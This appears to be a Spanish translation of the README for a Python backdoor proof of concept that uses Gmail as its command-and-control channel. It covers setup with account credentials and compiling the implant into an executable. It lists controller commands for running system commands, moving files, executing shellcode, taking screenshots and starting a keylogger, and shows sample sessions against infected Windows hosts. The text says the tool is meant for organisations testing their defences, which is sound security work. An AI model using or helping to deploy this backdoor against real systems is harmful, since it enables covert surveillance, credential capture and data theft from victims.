
Un backdoor PoC que utiliza Gmail como servidor C&C
Un backdoor sigiloso basado en Python que utiliza Gmail como servidor de comando y control
Este proyecto se inspiró en el código PoC original de Benjamin Donnelly
... que se publicó para que las organizaciones prueben sus defensas contra este tipo de ataques. Para detectarlos, consulta proyectos como RITA.
Para una versión más actualizada y mantenida de este proyecto, consulta GDog
Para que esto funcione, necesitas:
Este repositorio contiene dos archivos:
gcat.py un script que se utiliza para enumerar y enviar comandos a los clientes disponiblesimplant.py el backdoor real a desplegarEn ambos archivos, edita las variables gmail_user y gmail_pwd con el nombre de usuario y la contraseña de la cuenta que configuraste anteriormente.
Probablemente querrás compilar implant.py en un ejecutable usando Pyinstaller
Nota: Se recomienda compilar implant.py usando una instalación de Python de 32 bits
dP
88
.d8888b. .d8888b. .d8888b. d8888P
88' `88 88' `"" 88' `88 88
88. .88 88. ... 88. .88 88
`8888P88 `88888P' `88888P8 dP
.88
d8888P
.__....._ _.....__,
". : o :': ;': o :".
`. `-' .'. .'. `-' .'
`---' `---'
_...----... ... ... ...----..._
.-'__..-''---- `. `"` .' ----'''-..__`-.
'.-' _.--''' `-._.-' ''''--._ `-.`
' .-"' : `"-. `
' `. _.'"'._ .' `
`. ,.-'" "'-., .'
`. .'
jgs `-._ _.-'
`"'--...___...--'"`
...IM IN YUR COMPUTERZ...
WATCHIN YUR SCREENZ
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-id ID Client to target
-jobid JOBID Job id to retrieve
-list List available clients
-info Retrieve info on specified client
Commands:
Commands to execute on an implant
-cmd CMD Execute a system command
-download PATH Download a file from a clients system
-upload SRC DST Upload a file to the clients system
-exec-shellcode FILE Execute supplied shellcode on a client
-screenshot Take a screenshot
-lock-screen Lock the clients screen
-force-checkin Force a check in
-start-keylogger Start keylogger
-stop-keylogger Stop keylogger
Meow!
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
La salida es una cadena UUID que identifica de forma única el sistema y el sistema operativo en el que se está ejecutando el implant.
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
Aquí le estamos diciendo a 90b2cd83-cb36-52de-84ee-99db6ff41a11 que ejecute ipconfig /all; el script luego genera el jobid que podemos usar para recuperar la salida de ese comando
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration
Host Name . . . . . . . . . . . . : unknown-2d44b52
Primary Dns Suffix . . . . . . . :
Node Type . . . . . . . . . . . . : Unknown
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
-- SNIP --